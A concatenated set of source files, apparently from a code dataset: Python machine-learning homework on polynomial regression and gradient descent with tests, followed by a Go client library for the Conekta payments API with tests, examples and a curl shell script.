obj = gd.gradDesc(1, 1, .01, False, 'curvefitting.txt', 0)
def test_F(self):
obj = gd.gradDesc(1, 1, .01, False, 'curvefitting.txt', 0)
X = np.array([1,2,3,4])
self.assertEqual(obj.F(X), 5)
def test_grad(self):
obj = gd.gradDesc(1, 1, .01, False, 'curvefitting.txt', 0)
X = np.array([1,2,3,4])
h = .000001
true_val = obj.grad(X)
approx_val = obj.grad_approx(X, h)
self.assertAlmostEqual(approx_val[0], true_val[0])
self.assertAlmostEqual(approx_val[1], true_val[1])
def test_grad_SEE(self):
data_file = 'curvefitting.txt'
for order in xrange(10):
[X, Y] = hw1.getData(data_file)
phi = hw1.designMatrix(X, order)
weights = hw1.regressionFit(X, Y, phi)
delta = 1
analytic = hw1.computeSEEGrad(X,Y, weights, order).flatten()
approx = gd.gradient_approx_SEE(X, Y, weights, order, delta).flatten()
for i in xrange(order):
self.assertAlmostEqual(analytic[i], approx[i])
delta2 = .1
analytic2 = hw1.computeSEEGrad(X,Y, weights, order).flatten()
approx2 = gd.gradient_approx_SEE(X, Y, weights, order, delta2).flatten()
for i in xrange(order):
self.assertAlmostEqual(analytic2[i], approx2[i])
delta3 = .01
analytic3 = hw1.computeSEEGrad(X,Y, weights, order).flatten()
approx3 = gd.gradient_approx_SEE(X, Y, weights, order, delta3).flatten()
for i in xrange(order):
self.assertAlmostEqual(analytic3[i], approx3[i])
delta4 = .001
analytic4 = hw1.computeSEEGrad(X,Y, weights, order).flatten()
approx4 = gd.gradient_approx_SEE(X, Y, weights, order, delta4).flatten()
for i in xrange(order):
self.assertAlmostEqual(analytic4[i], approx4[i])
def test_gaussian(self):
return 0
def test_step(self):
return 0
def test_conv_criteria(self):
return 0
def test_grad_descent(self):
M = 3
#x = np.ones(M+1)
x = np.array([.3, 8, -20, 17])
des_obj = gd.gradDesc(x, .2, .01, True, 'curvefitting.txt', M)
answer = des_obj.grad_descent(True)
print "Found root at ", answer
if __name__ == '__main__':
unittest.main()<file_sep>import pdb
import random
import pylab as pl
from scipy.optimize import fmin_bfgs
import numpy as np
import unittest
import homework1
import gradDesc
from numpy.linalg import inv, norm
# X is an array of N data points (one dimensional for now), that is, NX1
# Y is a Nx1 column vector of data values
# order is the order of the highest order polynomial in the basis functions
def regressionPlot(X, Y, order):
pl.plot(X.T.tolist()[0],Y.T.tolist()[0], 'gp')
# You will need to write the designMatrix and regressionFit function
# constuct the design matrix (Bishop 3.16), the 0th column is just 1s.
phi = designMatrix(X, order)
# compute the weight vector
w = regressionFit(X, Y, phi)
print 'w', w
print w.shape
# produce a plot of the values of the function
pts = [[p] for p in pl.linspace(min(X), max(X), 100)]
Yp = pl.dot(w.T, designMatrix(pts, order).T)
pl.plot(pts, Yp.tolist()[0])
pl.show()
def getData(name):
data = pl.loadtxt(name)
# Returns column matrices
X = data[0:1].T
Y = data[1:2].T
return X, Y
def bishopCurveData():
# y = sin(2 pi x) + N(0,0.3),
return getData('curvefitting.txt')
def regressTrainData():
return getData('regress_train.txt')
def regressValidateData():
return getData('regress_validate.txt')
def designMatrix(X, order):
n = len(X)
phi = np.empty([n, (order+1)])
XX = np.asarray(X).reshape(n)
for i in xrange(order+1):
phi[:,i] = XX ** i
return phi
def regressionFit(X, Y, phi):
""" Compute the weight vector """
""" w_ML = (phiT phi)^-1 phiT """
""" NEED TO TEST """
phiT = phi.transpose()
return (np.matrix(phiT)* np.matrix(phi)).getI() * np.matrix(phiT) * Y
def computeSSE(X,Y,weights,order):
"""Compute the Sum of Square Error function given a dataset (X,Y)"""
"""a weight vector and the order of the polynomial basis functions"""
phi_matrix=designMatrix(X,order)
(n,m)=weights.shape
if(m==0):
weights = np.array(weights).reshape([n,1])
SSE=(0.5) * np.sum(np.square(Y-((weights.T*np.matrix(phi.transpose())).T)))
return SSE
def computeSSEGrad(X,Y, weights, order):
""" Compute the gradient of the SSE function given a dataset (X,Y) """
""" the weight vector and the order of the polynomial base functions """
phi=designMatrix(X,order)
n = len(weights)
w = np.array(weights).reshape([n,1])
SEEGrad = (w.T*np.matrix(phi.transpose())-Y.T)*np.matrix(phi)
#SEEGrad_with_dot = ((weights.T).dot(phi) - (Y.T)).dot(phi)
return np.array(SEEGrad).flatten()
#return SSEGrad
def computeNumSSEGrad(X,Y, weights, order, h):
""" Compute the gradient of the SSE function numerically given a dataset (X,Y) """
""" the weight vector and the order of the polynomial base functions with finite """
""" using spacing h"""
SSE_function=computeSSE(X, Y, weights, order)
null_vector=np.zeros_like(weights)
numGrad=np.zeros_like(weights)
for n in range(0, len(weights)):
null_vector[n]=1
SSE_whr= computeSSE(X,Y,weights+0.5*h*null_vector,order)
SSE_whl= computeSSE(X,Y,weights-0.5*h*null_vector,order)
numGrad[n]=(SSE_whr- SSE_whl)/h
return numGrad
def ridge_regression(phi_matrix, l, Y):
""" Returns theta_hat, MLE of theta """
(_,d) = phi_matrix.shape
lambda_matrix = l * np.eye(d)
phiT = phi_matrix.T
return (inv(lambda_matrix + (phiT.dot(phi_matrix)))).dot(phiT.dot(Y))
def run_ridge_find_lambda():
"""For figure 1.4"""
"""Question 3.1"""
# Do for a few orders : line search to find the lambda
for i in xrange(5):
order=4
[X,Y] = getData('curvefitting.txt')
phi_mat=designMatrix(X,order)
if i==0:
lam = 0
else:
lam = 1.0/(5.0*i)
theta_hat = ridge_regression(phi_mat, lam, Y)
Y_hat = phi_mat.dot(theta_hat) ## Y estimate
#pl.plot(X.T.tolist()[0],Y.T.tolist()[0], 'gs')
# produce a plot of the values of the function
#pts = [[p] for p in pl.linspace(min(X), max(X), 100)]
#Yp = pl.dot(theta_hat, designMatrix(pts, order).T)
#pl.plot(pts, Yp.tolist()[0])
#pl.show()
#print Y_hat
print "lambda = ", lam, " ", norm(Y-Y_hat, 2)
line_search_ridge_for_lambda(phi_mat, Y)
return 0
def line_search_ridge_for_lambda(phi, Y):
#old = np.array.1
new = 1
alpha = .1
(_,d) = phi.shape
new = np.ones([d,1])
old = np.zeros([d,1])
theta_hat = ridge_regression(phi, old, Y)
print phi.T.shape
print Y.shape
while(norm(new-old,2) > .001): # while not converged
old = new
theta_hat = ridge_regression(phi, old, Y)
#lam_mat = old * np.eye(d)
p = -(1.0/(norm(old,2)))*(phi.T.dot(Y))
new = old + alpha*p # theta_hat
#print new
print new
def model_selection():
""" Run a series of tests fo figure out M and lambda """
""" Question 3.2 """
[X,Y] = getData('curvefitting.txt')
phi_mat=designMatrix(X,M)
theta_hat = ridge_regression(phi_mat, 1, Y)
return 0
def do_regression(M):
[X,Y] = getData('curvefitting.txt')
regressionPlot(X, Y, M)
# Phi_matrix=designMatrix(X,M)
# regressionFit(X,Y,Phi_matrix)
def do_SSE(M):
[X,Y] = getData('curvefitting.txt')
Phi_matrix=designMatrix(X,M)
weight_vector=regressionFit(X,Y,Phi_matrix)
SSE=computeSSE(X,Y,weight_vector,M)
print ('Sum of Square Error')
print (SSE)
def do_SSEGrads(M,h):
""" M is the order of the polynomial base function and h the spacing for the """
""" numerical gradient calculation"""
[X,Y] = getData('curvefitting.txt')
Phi_matrix=designMatrix(X,M)
weight_vector=regressionFit(X,Y,Phi_matrix)
SSEGrad=computeSSEGrad(X,Y,weight_vector,M)
SSEGradNum=computeNumSSEGrad(X,Y, weight_vector,M, 0.5)
print ('Gradient of SSE')
print (SSEGrad)
print ('Numerical Gradient')
print (SSEGradNum)
if __name__ == '__main__':
M = 3
do_regression(M)
do_SSE(M)
spacing=0.025
do_SSEGrads(M,spacing)
#print ridge_regression(Phi_matrix, 1, Y)
<file_sep>import numpy as np
import homework1 as hw1
import sympy
from sympy.parsing.sympy_parser import parse_expr
class gradDesc():
def __init__(self, x0, step_size, eps,
verbose=False, data_file = 'curvefitting.txt', order=0):
""" Specify the initial guess, the step size and the convergence criterion"""
""" Verbose prints debug messages for checking functions and things """
self.first = x0
self.step_size = step_size # eta
self.eps = eps
self.verbose = verbose
# May not be necessary
[self.X, self.Y] = hw1.getData(data_file)
self.phi = hw1.designMatrix(self.X, order)
self.order = order
#self.weights = hw1.regressionFit(self.X, self.Y, self.phi)
def F(self, x):
f = x[0]*x[0]+ x[1]*x[1]
return f
def grad(self, x):
return np.array([2*x[0], 2*x[1]])
def grad_approx(self, x, h):
n = len(x)
fin_dif = np.zeros([n])
for i in xrange(n):
delta_vec = np.zeros([n])
delta_vec[i] = .5*h
approx = (1.0/h) * (self.F(x+delta_vec)-self.F(x-delta_vec))
fin_dif[i] = approx
return fin_dif
def grad_descent(self, SSE=False):
""" Run gradient descent on a scalar function """
old = self.first
if SSE:
new = self.SSE_step(old)
else:
new = self.step(old)
num_steps = 0 # To keep track of how many iterations
while(not conv_criteria(old, new, self.eps)):
old = new
if SSE:
new = self.SSE_step(old)
else:
new = self.step(old)
num_steps+=1
if self.verbose:
print "step ", num_steps, " old ", old, " new ", new
#if num_steps >= 10:
# break
return new
def step(self, old):
if self.verbose:
print " GRADIENT FOR STEP ", self.grad(old)
new = old - self.step_size * self.grad(old)
return new
def SSE_step(self, old):
if self.verbose:
print " GRADIENT FOR STEP ", hw1.computeSSEGrad(self.X, self.Y, old, self.order).T
new = old - self.step_size * hw1.computeSSEGrad(self.X, self.Y, old, self.order).T
return new
def gradient_approx_SSE(X, Y, weights, order, h):
""" Calculates the gradient using finite differences """
n = len(weights)
diff = np.zeros([n,1])
weight = weights.flatten()
for i in xrange(n):
delta_vec = np.zeros([n,1])
delta_vec[i] = .5*h
diff[i] = (1.0/h) * (f(X, Y, (weights+delta_vec), order) - f(X, Y, (weights-delta_vec), order))
return diff.flatten()
def f(X, Y, weights, order):
""" define this yourself """
return hw1.computeSSE(X, Y, weights, order)
def conv_criteria(current, previous, eps):
""" Determines whether the algorithm has converged by the two-norm """
diff = np.linalg.norm(current-previous, 2)
if diff <= eps:
return True
else:
return False
if __name__ == '__main__':
M = 3
#x = np.ones(M+1)
x = np.array([.3, 8, -20, 17])
des_obj = gradDesc(x, .2, .01, True, 'curvefitting.txt', M)
answer = des_obj.grad_descent(True)
print "Found root at ", answer
| a80d66d94c4ef94862cd6fc15d95b8c7b9aec45a | [
"Python"
] | 5 | Python | ctestart/ML-HW1 | daa662dfba72d50b833de9bc8dfda21d120620d6 | 60464c2ae89e323d25fcab7a6c1c59f612b2bfd9 |
refs/heads/master | <file_sep>package conekta
import (
"encoding/json"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"io/ioutil"
"net/http"
"net/url"
"os"
)
var _ = Describe("Conekta", func() {
server := NewTestServer()
client := NewTestClient(server)
Context("Setup", func() {
var c *Client
BeforeEach(func() {
c = NewClient()
os.Setenv(envConektaAPIKey, "foo")
})
Describe("NewClient", func() {
It("Should have the correct base URL", func() {
Expect(c.BaseURL.String()).To(Equal(baseURLString))
})
})
Describe("NewRequest", func() {
var r *http.Request
var err error
BeforeEach(func() {
r, err = c.prepareRequest("GET", "/wibble", nil)
})
It("Should return an error if the API key is not found", func() {
os.Setenv(envConektaAPIKey, "")
_, e := c.prepareRequest("GET", "/wibble", nil)
Expect(e).To(HaveOccurred())
Expect(e.Error()).To(Equal("Missing CONEKTA_API_KEY"))
})
It("Should set the correct User Agent", func() {
Expect(r.Header.Get(headerUserAgent)).To(Equal(userAgent))
})
It("Should set the correct Accept header", func() {
Expect(r.Header.Get(headerAccept)).To(Equal(mimeType))
})
It("Should set the absolute URL", func() {
Expect(r.URL.String()).To(Equal(baseURLString + "/wibble"))
})
It("Should encode the body", func() {
rawBody := map[string]string{"SomeKey": "SomeValue"}
parsedBody := `{"SomeKey":"SomeValue"}` + "\n"
r, _ = c.prepareRequest("POST", "/wibbles", rawBody)
body, _ := ioutil.ReadAll(r.Body)
Expect(string(body)).To(Equal(parsedBody))
})
It("Should return an error if the body is invalid JSON", func() {
type T struct {
A map[int]interface{}
}
_, err = c.prepareRequest("POST", "/wibbles", &T{})
_, ok := err.(*json.UnsupportedTypeError)
Expect(err).To(HaveOccurred())
Expect(ok).To(BeTrue())
})
It("Should return an error if the URL is not valid", func() {
_, err := c.prepareRequest("GET", ":", nil)
_, ok := err.(*url.Error)
Expect(err).To(HaveOccurred())
Expect(ok).To(BeTrue())
})
})
})
Context("Making requests", func() {
Describe("executeRequest", func() {
It("Should return a not found error", func() {
req, err := client.prepareRequest("GET", "/throw404", nil)
err = client.executeRequest(req, nil)
err, ok := err.(*ConektaError)
Expect(err).To(HaveOccurred())
Expect(ok).To(BeTrue())
})
})
})
})
<file_sep>package main
import (
"github.com/nubleer/conekta-go/conekta"
"log"
)
var client *conekta.Client
func init() {
client = conekta.NewClient()
client.ApiKey = "<api_key>"
}
func main() {
createAndUpdateCustomer()
createCardCharge()
createPlan()
}
func createAndUpdateCustomer() {
// Create a customer
c := &conekta.Customer{
Name: "Logan",
Email: "<EMAIL>",
Phone: "222-333-444",
}
customer, err := client.Customers.Create(c)
if err != nil {
log.Fatal(err)
}
log.Println(customer.Name)
// Update the customer
customer.Name = "Xavier"
updatedCustomer, err := client.Customers.Update(customer.Id, customer)
if err != nil {
log.Fatal(err)
}
log.Println(updatedCustomer.Name)
}
func createCardCharge() {
c := &conekta.Charge{
Description: "Stogies",
Amount: 20000,
Currency: "MXN",
ReferenceId: "9839-wolf_pack",
Card: "tok_test_visa_4242",
}
charge, err := client.Charges.Create(c)
if err != nil {
log.Fatal(err)
}
log.Println(charge)
}
func createPlan() {
p := &conekta.Plan{
Name: "Golden Boy",
Amount: 333333,
}
plan, err := client.Plans.Create(p)
if err != nil {
log.Fatal(err)
}
log.Println(plan)
}
<file_sep>package test
import (
"log"
base "github.com/nubleer/conekta-go/conekta"
)
type Customer struct {
Id string `db:"-" json:"id"`
Name string `db:"-" json:"name"`
Email string `db:"-" json:"email"`
Card *base.CreditCard
Charge *base.Charge
Subscription *base.Subscription
*base.Client
}
func NewCustomer(customerId string, cardToken string) *Customer {
customer := &Customer{}
customer.Client = base.NewClient()
customer.Card = &base.CreditCard{}
customer.Subscription = &base.Subscription{}
customer.Id = customerId
customer.Card.Token = cardToken
return customer
}
func (self *Customer) CreateSubscription() (err error) {
result, err := self.Customers.CreateSubscription(self.Id, self.Subscription)
if err != nil {
return
}
log.Printf("Resultado: $v", result)
return
}
func (self *Customer) Pause() (err error) {
subscription, err := self.Customers.PauseSubscription(self.Id)
if err != nil {
return
}
log.Printf("Subscripción pausada: $v", subscription)
return
}
func (self *Customer) Resume() (err error) {
log.Printf("Activando cuenta: %v", self.Id)
subscription, err := self.Customers.ResumeSubscription(self.Id)
if err != nil {
return
}
log.Printf("Subscripción activada: $v", subscription)
return
}
func (self *Customer) Cancel() (err error) {
log.Printf("Cancelando cuenta: %v", self.Id)
subscription, err := self.Customers.CancelSubscription(self.Id)
if err != nil {
return
}
log.Printf("Subscripción Cancelada: $v", subscription)
return
}
func (self *Customer) UpdateSubscription(subs *base.Subscription) (err error) {
log.Printf("Actualizando suscripción")
var subscription *base.Subscription
subscription, err = self.Customers.UpdateSubscription(self.Id, subs)
if err != nil {
return
}
log.Printf("Subscripción actualizada! : %v", subscription)
return
}
<file_sep>package conekta
import "fmt"
type FilterOptions struct {
q string
}
func NewFilterOptions() *FilterOptions {
return &FilterOptions{
q: "",
}
}
func (f *FilterOptions) Eq(field string, val interface{}) *FilterOptions {
f.append(field, val, "=")
return f
}
func (f *FilterOptions) Gt(field string, val interface{}) *FilterOptions {
f.append(field, val, ".gt=")
return f
}
func (f *FilterOptions) Gte(field string, val interface{}) *FilterOptions {
f.append(field, val, ".gte=")
return f
}
func (f *FilterOptions) Lt(field string, val interface{}) *FilterOptions {
f.append(field, val, ".lt=")
return f
}
func (f *FilterOptions) Lte(field string, val interface{}) *FilterOptions {
f.append(field, val, ".lte=")
return f
}
func (f *FilterOptions) Ne(field string, val interface{}) *FilterOptions {
f.append(field, val, ".ne=")
return f
}
func (f *FilterOptions) Regex(field string, val interface{}) *FilterOptions {
f.append(field, val, ".regex=")
return f
}
func (f *FilterOptions) Limit(val int) *FilterOptions {
f.append("limit", val, "=")
return f
}
func (f *FilterOptions) Offset(val int) *FilterOptions {
f.append("offset", val, "=")
return f
}
func (f *FilterOptions) Sort(field, direction string) *FilterOptions {
f.append("sort", field+"."+direction, "=")
return f
}
func (f FilterOptions) Q() string {
return f.q
}
func (f *FilterOptions) append(field string, val interface{}, op string) {
condition := fmt.Sprintf("%s%s%v", field, op, val)
if len(f.q) == 0 {
f.q = fmt.Sprintf("?%s", condition)
} else {
f.q = fmt.Sprintf("%s&%s", f.q, condition)
}
}
<file_sep>package conekta
import (
"fmt"
)
type chargesResource struct {
client *Client
path string
}
type Charge struct {
Description string `json:"description"`
Amount int `json:"amount"`
Capture *bool `json:"capture,omitempty"`
Currency string `json:"currency"`
Card string `json:"card,omitempty"`
MonthlyInstallments int `json:"monthly_installments,omitempty"`
ReferenceId string `json:"reference_id,omitempty"`
Cash CashPayment `json:"cash",omitempty"`
Bank BankPayment `json:"bank,omitempty"`
Id *string `json:"id,omitempty"`
Livemode *bool `json:"livemode,omitempty"`
CreatedAt *timestamp `json:"created_at,omitempty"`
Status *string `json:"status,omitempty"`
FailureCode *string `json:"failure_code,omitempty"`
FailureMessage *string `json:"failure_message,omitempty"`
Object *string `json:"object,omitempty"`
AmountRefunded *int `json:"amount_refunded,omitempty"`
Fee *int `json:"fee,omitempty"`
PaymentMethod *PaymentMethod `json:"payment_method,omitempty"`
Details *Details `json:"details,omitempty"`
Refunds []Refund `json:"refunds,omitempty"`
Customer *Customer `json:"customer,omitempty"`
}
type Refund struct {
CreatedAt *timestamp `json:"created_at,omitempty"`
Amount int `json:"amount,omitempty"`
Currency string `json:"currency,omitempty"`
Transaction string `json:"transaction,omitempty"`
}
type Shipment struct {
Carrier string `json:"carrier,omitempty"`
Service string `json:"service,omitempty"`
TrackingId string `json:"tracking_id,omitempty"`
Price int `json:"price,omitempty"`
Address *Address `json:"address,omitempty"`
}
type LineItem struct {
Name string `json:"name,omitempty"`
Description string `json:"description,omitempty"`
Sku string `json:"sku,omitempty"`
UnitPrice int `json:"unit_price,omitempty"`
Quantity int `json:"quantity,omitempty"`
Type string `json:"type,omiempty"`
}
type Details struct {
Name string `json:"name,omitempty"`
Phone string `json:"phone,omitempty"`
Email string `json:"email,omitempty"`
DateOfBirth string `json:"date_of_birth,omitempty"`
LineItems []LineItem `json:"line_items,omitempty"`
BillingAddress *BillingAddress `json:"billing_address,omitempty"`
Shipment *Shipment `json:"shipment,omitempty"`
}
type PaymentMethod struct {
Object string `json:"object,omitempty"`
Type string `json:"type,omitempty"`
ServiceName string `json:"service_name,omitempty"` //Bank
ServiceNumber string `json:"service_number,omitempty"`
Reference string `json:"reference,omitempty"`
ExpiryDate string `json:"expiry_date,omitempty"` //Oxxo
Barcode string `json:"barcode,omitempty"`
BarcodeUrl string `json:"barcode_url,omitempty"`
ExpiresAt *timestamp `json:"expires_at,omitempty"`
Brand string `json:"brand,omitempty"` // CC
AuthCode string `json:"auth_code,omitempty"`
Last4 string `json:"last4,omitempty"`
ExpMonth string `json:"exp_month,omitempty"`
ExpYear string `json:"exp_year,omitempty"`
Name string `json:"name,omitempty"`
Address *Address `json:"address,omitempty"`
}
type CashPayment map[string]string
type BankPayment map[string]string
func newChargesResource(c *Client) *chargesResource {
return &chargesResource{
client: c,
path: "charges",
}
}
func (s *chargesResource) Create(out *Charge) (*Charge, error) {
in := new(Charge)
err := s.client.execute("POST", s.path, in, out)
if err != nil {
return nil, err
}
return in, nil
}
func (s *chargesResource) Get(id string) (*Charge, error) {
path := fmt.Sprintf("%s/%s", s.path, id)
in := new(Charge)
err := s.client.execute("GET", path, in, nil)
if err != nil {
return nil, err
}
return in, nil
}
// If amount is empty a full refund will be issued
func (s *chargesResource) Refund(id string, amount Param) (*Charge, error) {
path := fmt.Sprintf("%s/%s/refund", s.path, id)
in := new(Charge)
err := s.client.execute("POST", path, in, amount)
if err != nil {
return nil, err
}
return in, nil
}
func (s *chargesResource) Filter(options FilterOptions) ([]Charge, error) {
req, err := s.client.prepareRequest("GET", s.path, nil)
if err != nil {
return nil, err
}
var r []Charge
err = s.client.executeRequest(req, &r)
if err != nil {
return nil, err
}
return r, nil
}
<file_sep>package conekta
type Address struct {
Street1 string `json:"street1,omitempty"`
Street2 string `json:"street2,omitempty"`
Street3 string `json:"street3,omitempty"`
City string `json:"city,omitempty"`
State string `json:"state,omitempty"`
Zip string `json:"zip,omitempty"`
Country string `json:"country,omitempty"`
}
type BillingAddress struct {
TaxId string `json:"tax_id,omitempty"`
CompanyName string `json:"company_name,omitempty"`
Phone string `json:"phone,omitempty"`
Email string `json:"email,omitempty"`
*Address
}
<file_sep>package conekta
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Plans", func() {
server := NewTestServer()
client := NewTestClient(server)
plan := &Plan{
Name: "Gold Plan",
Amount: 100000,
Currency: "MXN",
}
Describe("Create", func() {
It("Returns the created plan", func() {
resp, err := client.Plans.Create(plan)
Expect(err).ToNot(HaveOccurred())
Expect(resp.Name).To(Equal("Gold Plan"))
})
})
Describe("Update", func() {
It("Returns the updated plan", func() {
resp, err := client.Plans.Update("gold-plan", plan)
Expect(err).ToNot(HaveOccurred())
Expect(resp.Name).To(Equal("Gold Plan"))
})
})
Describe("Delete", func() {
It("Returns the deleted plan", func() {
resp, err := client.Plans.Delete("gold-plan")
Expect(err).ToNot(HaveOccurred())
Expect(resp.Name).To(Equal("Gold Plan"))
})
})
})
<file_sep>#!/bin/sh
HEADER_ACCEPT='Accept: application/vnd.conekta-v0.3.0+json'
HEADER_CONTENT_TYPE='Content-type: application/json'
API_KEY=':'
BASE_URL='https://api.conekta.io'
#BASE_URL='http://localhost:3000'
# bash => "{\n \"name\":\"juan\",\n \"email\":\"<EMAIL>\"\n }"
# ruby => "{\"name\":\"juan\",\"email\":\"<EMAIL>\"}"
# go => "{\"name\":\"Wasup\",\"email\":\"<EMAIL>\",\"phone\":\"222-333-444\"}\n"
createCustomer() {
REQUEST_BODY=`printf '{
"name":"juan",
"email":"<EMAIL>"
}'`
curl -H "${HEADER_ACCEPT}" -H \
"${HEADER_CONTENT_TYPE}" \
-u ${API_KEY} \
-X "POST" \
-d "${REQUEST_BODY}" \
${BASE_URL}/customers
}
createCharge() {
case $1 in
"card")
PAYMENT_TYPE='"card":"tok_test_visa_4242"'
;;
"oxxo")
PAYMENT_TYPE='"cash":{"type":"oxxo"}'
;;
"deposit")
PAYMENT_TYPE='"bank":{"type":"banorte"}'
;;
*)
PAYMENT_TYPE='"cash":{"type":"oxxo"}'
esac
REQUEST_BODY=`printf '{
"description":"some useless shit",
"amount":30000, %s
}' ${PAYMENT_TYPE}`
curl -H "${HEADER_ACCEPT}" -H \
"${HEADER_CONTENT_TYPE}" \
-u ${API_KEY} \
-X "POST" \
-d "${REQUEST_BODY}" \
${BASE_URL}/charges
}
createCustomer
<file_sep>package test
import "testing"
var customer *Customer
func TestSetUp(t *testing.T) {
customer = NewCustomer("cus_zZ42sCRYK1br5zajw", "")
customer.ApiKey = "<api_key>"
}
func TestPaused(t *testing.T) {
if err := customer.Pause(); err != nil {
t.Logf("No se pudo actualizar la subscripción: %v", err)
return
}
t.Logf("Subscripción actualizada!")
}
func TestResume(t *testing.T) {
if err := customer.Resume(); err != nil {
t.Logf("No se pudo actualizar la subscripción: %v", err)
return
}
t.Logf("Subscripción actualizada!")
}
<file_sep>package conekta
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Customers Resource", func() {
server := NewTestServer()
client := NewTestClient(server)
var customer *Customer
BeforeEach(func() {
customer = &Customer{
Name: "<NAME>",
Email: "<EMAIL>",
Phone: "55-5555-5555",
}
})
Describe("Create", func() {
Context("Success", func() {
It("Returns the created customer", func() {
resp, err := client.Customers.Create(customer)
Expect(err).ToNot(HaveOccurred())
Expect(resp.Name).To(Equal("<NAME>"))
Expect(resp.BillingAddress.Street1).To(Equal("77 Mystery Lane"))
Expect(resp.ShippingAddress.Street1).To(Equal("250 Alexis St"))
Expect(resp.Cards[0].Name).To(Equal("<NAME>"))
Expect(resp.Subscription.PlanId).To(Equal("gold-plan"))
})
})
Context("Failure", func() {})
})
Describe("Update", func() {
Context("Success", func() {
It("Returns the updated customer", func() {
customer := &Customer{Name: "Logan", Email: "<EMAIL>"}
resp, err := client.Customers.Update("cus_k2D9DxlqdVTagmEd400001", customer)
Expect(err).ToNot(HaveOccurred())
Expect(resp.Name).To(Equal("<NAME>"))
})
})
})
Describe("Delete", func() {
It("Returns the deleted customer", func() {
resp, _ := client.Customers.Delete("cus_k2D9DxlqdVTagmEd400001")
Expect(resp.Name).To(Equal("<NAME>"))
})
})
Context("Handling Credit Cards", func() {
Describe("Add Credit Card", func() {
It("Returns the created Card", func() {
card := &CreditCard{Token: "<KEY>"}
resp, err := client.Customers.AddCreditCard("cus_k2D9DxlqdVTagmEd400001", card)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("card"))
Expect(resp.Address.Street1).To(Equal("250 Alexis St"))
})
})
Describe("Update Credit Card", func() {
It("Returns the updated Card", func() {
card := &CreditCard{Token: "<KEY>", Id: "xyz"}
resp, err := client.Customers.UpdateCreditCard("cus_k2D9DxlqdVTagmEd400001", card)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("card"))
Expect(resp.Address.Street1).To(Equal("250 Alexis St"))
})
})
Describe("Delete Credit Card", func() {
It("Returns the deleted Card", func() {
resp, err := client.Customers.DeleteCreditCard("cus_k2D9DxlqdVTagmEd400001", "card_TCuBjUEcy9r41Fk2")
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("card"))
})
})
})
Context("Handling Subscriptions", func() {
const (
customerId = "cus_Z9cVem5W3Rus2TAs7"
)
sub := &Subscription{
PlanId: "opal-plan",
CardId: "card_vow1u83899Rkj5LM",
}
Describe("Create", func() {
It("Returns the created subscription", func() {
resp, err := client.Customers.CreateSubscription(customerId, sub)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("subscription"))
Expect(resp.PlanId).To(Equal("gold-plan"))
})
})
Describe("Change", func() {
It("Returns the changed subscription", func() {
resp, err := client.Customers.UpdateSubscription(customerId, sub)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("subscription"))
Expect(resp.PlanId).To(Equal("gold-plan"))
})
})
Describe("Pause", func() {
It("Returns the paused subscription", func() {
resp, err := client.Customers.PauseSubscription(customerId)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("subscription"))
Expect(resp.PlanId).To(Equal("gold-plan"))
})
})
Describe("Resume", func() {
It("Returns the resumed subscription", func() {
resp, err := client.Customers.ResumeSubscription(customerId)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("subscription"))
Expect(resp.PlanId).To(Equal("gold-plan"))
})
})
Describe("Cancel", func() {
It("Returns the cancelled subscription", func() {
resp, err := client.Customers.CancelSubscription(customerId)
Expect(err).NotTo(HaveOccurred())
Expect(resp.Object).To(Equal("subscription"))
Expect(resp.PlanId).To(Equal("gold-plan"))
})
})
})
})
<file_sep>/*
Package conekta implements a client that wraps the conekta API (v 0.3.0)
Create a new client to make requests to the resources exposed by the API.
For example, to create a charge to be paid in OXXO (more examples are included in
the examples directory):
client := conekta.NewClient()
charge := &conekta.Charge{
Amount: 20000, //in cents
Currency: "MXN",
Description: "Some useless widgets",
Cash: Oxxo
}
res, err := client.Charges.Create(charge)
Authenticating requests.
All requests to conekta must be authenticated. The client expects to find
the CONEKTA_API_KEY environment variable with your account's API key:
export CONEKTA_API_KEY=your_api_key
or, if you prefer:
os.Setenv("CONEKTA_API_KEY", your_api_key)
Handling responses
Handling errors
*/
package conekta
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"runtime"
"strconv"
"time"
)
const (
baseURLString = "https://api.conekta.io"
apiVersion = "0.3.0"
gonektaVersion = "0.1"
userAgent = "gonekta-" + gonektaVersion
mimeType = "application/vnd.conekta." + apiVersion + "+json"
jsonMimeType = "application/json"
headerUserAgent = "User-Agent"
headerContentType = "Content-Type"
headerAccept = "Accept"
headerConektaClient = "X-Conekta-Client-User-Agent"
envConektaAPIKey = "CONEKTA_API_KEY"
)
type Client struct {
client *http.Client
userAgent string
ApiKey string
BaseURL *url.URL
Charges *chargesResource
Customers *customersResource
Plans *plansResource
}
type ConektaError struct {
Response *http.Response
Type string `json:"type"`
Code string `json:"code"`
Param string `json:"param"`
Message string `json:"message"`
}
type GonektaError struct {
Message string `json:"message"`
}
type timestamp struct {
time.Time
}
type Param map[string]interface{}
func (t timestamp) String() string {
return t.Time.String()
}
func (ts *timestamp) UnmarshalJSON(b []byte) error {
result, err := strconv.ParseInt(string(b), 10, 64)
if err == nil {
(*ts).Time = time.Unix(result, 0)
} else {
(*ts).Time, err = time.Parse(`"`+time.RFC3339+`"`, string(b))
}
return err
}
// NewClient returns a configured conekta client. All requests to the API
// go through this value.
func NewClient() *Client {
baseUrl, _ := url.Parse(baseURLString)
cli := &Client{
client: http.DefaultClient,
BaseURL: baseUrl,
userAgent: userAgent,
}
cli.Charges = newChargesResource(cli)
cli.Customers = newCustomersResource(cli)
cli.Plans = newPlansResource(cli)
return cli
}
func (c *Client) execute(method, path string, resBody, reqBody interface{}) error {
req, err := c.prepareRequest(method, path, reqBody)
if err != nil {
return err
}
err = c.executeRequest(req, resBody)
return err
}
func (c *Client) prepareRequest(method, path string, body interface{}) (*http.Request, error) {
relative, err := url.Parse(path)
if err != nil {
return nil, err
}
baseUrl := c.BaseURL.ResolveReference(relative)
buf := new(bytes.Buffer)
if body != nil {
err := json.NewEncoder(buf).Encode(body)
if err != nil {
